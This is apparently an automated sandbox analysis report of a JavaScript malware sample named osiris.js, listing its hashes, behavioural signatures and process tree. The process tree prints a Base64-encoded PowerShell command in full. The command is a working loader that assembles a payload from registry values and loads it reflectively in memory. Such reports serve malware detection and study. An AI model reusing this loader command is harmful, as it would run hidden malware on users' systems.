Analysis
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max time kernel
119s -
max time network
10s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
26-01-2021 12:55
Static task
static1
Behavioral task
behavioral1
Sample
osiris.js
Resource
win7v20201028
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
osiris.js
Resource
win10v20201028
0 signatures
0 seconds
General
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Target
osiris.js
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Size
2.5MB
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MD5
e00ccaf47b31887d18ccc6d80aaa2a39
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SHA1
60b574bcda0024cf90ec3f7e97db28c58cc79552
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SHA256
20d1df07b4e17ee0821043733106bd179a520acd9ec307bdb1703df17cbf6ee7
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SHA512
5c3181b5440ac31079c8651d752ad890d84b5ee692b37168866e8c0bef1abfcc8d77311c5df7a7e0e72ad33c9ab999e4b096a199c832e42778565be2ede9c4c6
Score
5/10
Malware Config
Signatures
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 1316 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1316 powershell.exe 1316 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1316 powershell.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 1636 wrote to memory of 1568 1636 wscript.exe 29 PID 1636 wrote to memory of 1568 1636 wscript.exe 29 PID 1636 wrote to memory of 1568 1636 wscript.exe 29 PID 1568 wrote to memory of 1316 1568 cmd.exe 31 PID 1568 wrote to memory of 1316 1568 cmd.exe 31 PID 1568 wrote to memory of 1316 1568 cmd.exe 31 PID 1568 wrote to memory of 1316 1568 cmd.exe 31
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\osiris.js1⤵
- Suspicious use of WriteProcessMemory
PID:1636 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAegBnAGIAbQBnAHMAdgBpACAAIwA+ACQAdQA9ACQAZQBuAHYAOgBVAHMAZQByAE4AYQBtAGUAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAANwAwADAAOwAkAGkAKwArACkAewAkAGMAPQAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcACIAKwAkAHUAKwAiADEAIgA7AFQAcgB5AHsAJABhAD0AJABhACsAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBwAGEAdABoACAAJABjACkALgAkAGkAfQBDAGEAdABjAGgAewB9AH0AOwBmAHUAbgBjAHQAaQBvAG4AIABjAGgAYgBhAHsAWwBjAG0AZABsAGUAdABiAGkAbgBkAGkAbgBnACgAKQBdAHAAYQByAGEAbQAoAFsAcABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQApAF0AWwBTAHQAcgBpAG4AZwBdACQAaABzACkAOwAkAEIAeQB0AGUAcwAgAD0AIABbAGIAeQB0AGUAWwBdAF0AOgA6AG4AZQB3ACgAJABoAHMALgBMAGUAbgBnAHQAaAAgAC8AIAAyACkAOwBmAG8AcgAoACQAaQA9ADAAOwAgACQAaQAgAC0AbAB0ACAAJABoAHMALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAPQAyACkAewAkAEIAeQB0AGUAcwBbACQAaQAvADIAXQAgAD0AIABbAGMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAeQB0AGUAKAAkAGgAcwAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABpACwAIAAyACkALAAgADEANgApAH0AJABCAHkAdABlAHMAfQA7ACQAaQAgAD0AIAAwADsAVwBoAGkAbABlACAAKAAkAFQAcgB1AGUAKQB7ACQAaQArACsAOwAkAGsAbwAgAD0AIABbAG0AYQB0AGgAXQA6ADoAUwBxAHIAdAAoACQAaQApADsAaQBmACAAKAAkAGsAbwAgAC0AZQBxACAAMQAwADAAMAApAHsAIABiAHIAZQBhAGsAfQB9AFsAYgB5AHQAZQBbAF0AXQAkAGIAIAA9ACAAYwBoAGIAYQAoACQAYQAuAHIAZQBwAGwAYQBjAGUAKAAiACMAIgAsACQAawBvACkAKQA7AFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABiACkAOwBbAE0AbwBkAGUAXQA6ADoAUwBlAHQAdQBwACgAKQA7AA== "2⤵
- Suspicious use of WriteProcessMemory
PID:1568 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAegBnAGIAbQBnAHMAdgBpACAAIwA+ACQAdQA9ACQAZQBuAHYAOgBVAHMAZQByAE4AYQBtAGUAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAANwAwADAAOwAkAGkAKwArACkAewAkAGMAPQAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcACIAKwAkAHUAKwAiADEAIgA7AFQAcgB5AHsAJABhAD0AJABhACsAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBwAGEAdABoACAAJABjACkALgAkAGkAfQBDAGEAdABjAGgAewB9AH0AOwBmAHUAbgBjAHQAaQBvAG4AIABjAGgAYgBhAHsAWwBjAG0AZABsAGUAdABiAGkAbgBkAGkAbgBnACgAKQBdAHAAYQByAGEAbQAoAFsAcABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQApAF0AWwBTAHQAcgBpAG4AZwBdACQAaABzACkAOwAkAEIAeQB0AGUAcwAgAD0AIABbAGIAeQB0AGUAWwBdAF0AOgA6AG4AZQB3ACgAJABoAHMALgBMAGUAbgBnAHQAaAAgAC8AIAAyACkAOwBmAG8AcgAoACQAaQA9ADAAOwAgACQAaQAgAC0AbAB0ACAAJABoAHMALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAPQAyACkAewAkAEIAeQB0AGUAcwBbACQAaQAvADIAXQAgAD0AIABbAGMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAeQB0AGUAKAAkAGgAcwAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABpACwAIAAyACkALAAgADEANgApAH0AJABCAHkAdABlAHMAfQA7ACQAaQAgAD0AIAAwADsAVwBoAGkAbABlACAAKAAkAFQAcgB1AGUAKQB7ACQAaQArACsAOwAkAGsAbwAgAD0AIABbAG0AYQB0AGgAXQA6ADoAUwBxAHIAdAAoACQAaQApADsAaQBmACAAKAAkAGsAbwAgAC0AZQBxACAAMQAwADAAMAApAHsAIABiAHIAZQBhAGsAfQB9AFsAYgB5AHQAZQBbAF0AXQAkAGIAIAA9ACAAYwBoAGIAYQAoACQAYQAuAHIAZQBwAGwAYQBjAGUAKAAiACMAIgAsACQAawBvACkAKQA7AFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABiACkAOwBbAE0AbwBkAGUAXQA6ADoAUwBlAHQAdQBwACgAKQA7AA== "3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1316
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